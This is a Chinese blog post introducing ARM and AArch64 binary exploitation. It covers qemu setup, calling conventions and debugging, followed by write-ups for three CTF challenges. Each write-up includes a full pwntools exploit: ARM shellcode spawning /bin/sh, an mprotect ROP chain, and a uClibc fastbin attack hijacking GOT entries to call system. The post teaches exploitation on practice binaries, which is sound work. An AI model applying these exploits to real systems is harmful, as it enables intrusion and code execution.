好久没写博客了,最近尝试了一些奇怪的架构来水一篇

环境搭建

安装qemu

1
apt-get install qemu

不同系统安装方式不同,一般来说只需要用到用户模式

ubuntu16里的qemu版本过低会导致gdb调试64位时报错

或者可以使用arm_now https://github.com/nongiach/arm_now

安装依赖

1
2
sudo apt-get install -y gcc-arm-linux-gnueabi
sudo apt-get install -y gcc-aarch64-linux-gnu g++-aarch64-linux-gnu

简单了解arm

32位

函数调用

  • arm32 函数调用前面4个参数使用寄存器r0-r3,后面的参数使用栈传递,r0存放函数返回值

  • r11 = fp ≈ bp ,堆栈的增长规则和x86一样。

  • pc寄存器控制程序流

常用指令集

  • bl ≈ call

  • pop {r11, pc} ≈ pop r11;pop pc

  • ldr r0,[r1,#8] 将r1+8指向的值赋值给r0

  • ldr r0,[r1],r2 将r1指向的值赋给r0,并且 r1 += r2

  • sub sp, fp, #4 sp = fp - 4

64位

函数调用

  • arm64 前面8个参数都是通过寄存器来传递x0-x7,x0存放函数返回值。

  • x29 约等于 bp

  • x30控制程序流,ret会使程序流跳转到x30所指的地址

常用指令集

  • pop被ldp所代替

  • ldp x29, x30, [sp], #0x10 将[sp]、[sp+8] 依次赋值给x29,x30,然后sp -= 0x10

  • ldp x19, x20, [sp, #0x10] 从[sp+0x10]读0x10字节给x19 x20

如何调试

1
2
qemu-arm -L /usr/arm-linux-gnueabi -g 2345 ./32
qemu-aarch64 -L /usr/aarch64-linux-gnu/ -g 1234 ./64
  • -L指定动态库

  • -g 1234 指定gdbserver端口为1234并等待gdb连接

题目

题目都可以在buu找到

inCTF2018_wARMup

题目很简单就是一个栈溢出,但是溢出的字节不多,想要知道多少字节溢出最好gdb调一下,ida显示得不一定准确

arm下大多数栈溢出题目都可以将栈迁移到bss上然后执行shellcode,好像arm的bss段都是可执行,可能和qemu的启动参数有关,这里没有进行深究。

本题的思路也是如此:首先控制程序流,通过一个gadget

1
0x10364 <_init+8>:	pop	{r3, pc}

可以控制r3的值,然后再返回到main函数,实现任意地址写

1
2
3
4
5
6
7
8
9
0x0001052c <+52>:	sub	r3, r11, #104	; 0x68
0x00010530 <+56>: mov r2, #120 ; 0x78
0x00010534 <+60>: mov r1, r3
0x00010538 <+64>: mov r0, #0
0x0001053c <+68>: bl 0x1037c <read@plt>
0x00010540 <+72>: mov r3, #0
0x00010544 <+76>: mov r0, r3
0x00010548 <+80>: sub sp, r11, #4
0x0001054c <+84>: pop {r11, pc}

这样我们就可以实现向bss段写入shellcode,并执行。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
from time import sleep
import sys
context.binary = "./wARMup"
context.log_level = "debug"
elf = context.binary
libc = ELF("./lib/libc.so.6")

if sys.argv[1] == "l":
io = process(["qemu-arm", "-L", "./", "./wARMup"])
elif sys.argv[1] == "d":
io = process(["qemu-arm", "-g", "1234", "-L", "./", "./wARMup"])
else:
io = remote("node3.buuoj.cn", 28965)

sc = b"\x01\x30\x8f\xe2"
sc +=b"\x13\xff\x2f\xe1"
sc +=b"\x78\x46\x0e\x30"
sc +=b"\x01\x90\x49\x1a"
sc +=b"\x92\x1a\x08\x27"
sc +=b"\xc2\x51\x03\x37"
sc +=b"\x01\xdf\x2f\x62"
sc +=b"\x69\x6e\x2f\x2f"
sc +=b"\x73\x68"

if __name__ == "__main__":
base = elf.bss() + 0x300
payload = flat(cyclic(100), base, 0x00010364, base, 0x10534)
# pause()
io.send(payload)
sleep(5)
# sc = asm(shellcraft.sh())
io.send(p32(base+ 0x4)+ sc)
io.interactive()

32位下的通用gadget

1
0x105ac <__libc_csu_init+84>:	pop	{r4, r5, r6, r7, r8, r9, r10, pc}

直接调用这条指令会出现 invalid instrument 错误,是因为这里是thumb指令,需要将cpu工作状态转移到thumb指令状态才可以执行。标记ARM状态是用CPSR寄存器中的标志位T。对于bx和ret指令,只需要在确保目的地址值的最后一个bit为1,既可以切换到thumb模式即 0x105ac+1

shanghai2018 baby_arm

一道32位栈溢出一道64位栈溢出 美滋滋

这题比较直接,先往bss段上写数据,再往栈上写,这样我们利用起来就比较简单了

网上一些师傅用到了mprotect,好像不用也可以直接在bss段上执行

需要注意的是第二个read控制的是main函数的返回地址并不是自己的,函数返回地址在局部变量的上面,这里不知道为什么,具体问题具体分析吧。

放两个exp,先是使用了mprotect的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import*
from time import sleep
context.log_level = 'debug'
binary = './pwn'
context.binary = binary
p = process(["qemu-aarch64", "-g", "1234", "-L", "/usr/aarch64-linux-gnu/", binary])
#p = process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu/", binary])

bss = 0x411068
mprotect = 0x4007D4
code = asm(shellcraft.sh()).ljust(0x100) + p64(mprotect)

p.sendlineafter(b'Name:',code)

gad1 = 0x4008AC
gad2 = 0x4008CC
sleep(0.1)
padding = b'\x61'*0x48
buf = padding + p64(gad2) + p64(gad1)*2 + p64(0) + p64(1) + p64(bss+0x100) + p64(0x7) + p64(bss)*4
p.send(buf)
p.interactive()

直接执行的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import*
from time import sleep
context.log_level = 'debug'
binary = './pwn'
context.binary = binary
#p = process(["qemu-aarch64", "-g", "1234", "-L", "/usr/aarch64-linux-gnu/", binary])
#p = process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu/", binary])
p = remote('node3.buuoj.cn',29981)
bss = 0x411068
mprotect = 0x4007D4
code = asm(shellcraft.sh()).ljust(0x100) + p64(mprotect)

p.sendlineafter(b'Name:',code)

gad1 = 0x4008AC
gad2 = 0x4008CC
sleep(0.1)
padding = b'\x61'*0x48
#buf = padding + p64(gad2) + p64(gad1)*2 + p64(0) + p64(1) + p64(bss+0x100) + p64(0x7) + p64(bss)*4
buf = padding + p64(bss)
p.send(buf)
p.interactive()

2020第五空间线上 pwnme

这题运行的时候会出现 Invalid ELF image 错误

1
/lib/ld-uClibc.so.0: Invalid ELF image for this architecture

是因为给的文件是从文件系统中提取出来的,提取的过程把链接文件弄错了。正常来说 ld-uClibc.so.0 应该是一个链接文件,指向 ld-uClibc-0.9.33.2.so,libc.so.0 也一样,所以把这俩删掉,然后把另外两个动态库的实体改成链接文件的名即可

1
2
3
4
➜  rm -rf libc.so.0
➜ rm -rf ld-uClibc.so.0
➜ mv libuClibc-1.0.34.so libc.so.0
➜ mv ld-uClibc-1.0.34.so ld-uClibc.so.0

程序很简单就是一个菜单堆,该有的功能都有。

arm下使用的是uClibc,内存分配机制和glibc相比简洁很多

本题用到了fastbin attack,先贴主要代码,全部代码可以在 \libc\stdlib\malloc-standard 找到

malloc:

1
2
3
4
5
6
7
8
9
10
11
12
13
   /*
If the size qualifies as a fastbin, first check corresponding bin.
*/

if ((unsigned long)(nb) <= (unsigned long)(av->max_fast)) {
fb = &(av->fastbins[(fastbin_index(nb))]);
if ( (victim = *fb) != 0) {
*fb = victim->fd;
check_remalloced_chunk(victim, nb);
retval = chunk2mem(victim);
goto DONE;
}
}

free:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
    /*
If eligible, place chunk on a fastbin so it can be found
and used quickly in malloc.
*/

if ((unsigned long)(size) <= (unsigned long)(av->max_fast)

#if TRIM_FASTBINS
/* If TRIM_FASTBINS set, don't place chunks
bordering top into fastbins */
&& (chunk_at_offset(p, size) != av->top)
#endif
) {

set_fastchunks(av);
fb = &(av->fastbins[fastbin_index(size)]);
p->fd = *fb;
*fb = p;
}

该题change功能没有控制写入的字节数目,存在堆溢出。

我们先通过unsortedbin泄露libc基地址然后fastbin attack打free@got改为system,然后free(“/bin/sh”)

思路很简单,但是fastbin的fd实在是没搞懂咋回事,还是具体问题具体分析 芜湖XD

直接给exp吧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import*

binary = './a'
context.binary = binary
context.log_level = 'debug'

p = process(['qemu-arm','-L','./','./a'])
#p = process(['qemu-arm','-L','./','-g','1234','./a'])
libc = ELF('lib/libc.so.0')

def show():
p.sendlineafter('>>> ','1')

def add(size,content):
p.sendlineafter('>>> ','2')
p.sendlineafter(':',str(size))
p.sendafter(':',content)

def edit(index,size,content):
p.sendlineafter('>>> ','3')
p.sendlineafter(':',str(index))
p.sendlineafter(':',str(size))
p.sendafter(':',content)

def free(index):
p.sendlineafter('>>> ','4')
p.sendlineafter(':',str(index))
offset = 0x9a8ec

add(10,'/bin/sh')
add(8,'aaaa')
add(50,'aaaa')
add(8,'aaaa')
add(0xf8,'aaaa')
add(0x200,(p32(0)+p32(0x11))*10)

#leak
edit(3,20,b'\x61'*8 +p32(0)+p32(0x121))
free(4)
add(0xf8,'aaaa')
show()
p.recvuntil('5 : ')
leak = u32(p.recv(4))
libc.address = leak - offset
info('libc_base:'+hex(libc.address))

#fastbins attach
free(2)
edit(1,100,b'\x11'*8 + p32(0) +p32(0x39) + p32(0x00021032))
pause()
add(50,'aaaa')
add(50,p32(libc.sym['malloc'])*3+p32(libc.sym['read'])*3+p32(libc.sym['atoi'])*2+p32(libc.sym['system']))
free(0)#run
p.interactive()

reference

https://www.anquanke.com/post/id/199112

https://www.anquanke.com/post/id/204913

https://xz.aliyun.com/t/3154

https://xz.aliyun.com/t/3744

https://m4x.fun/post/how-2-pwn-an-arm-binary/

https://www.colabug.com/2020/0824/7658729/

https://blog.csdn.net/seaaseesa/article/details/107566892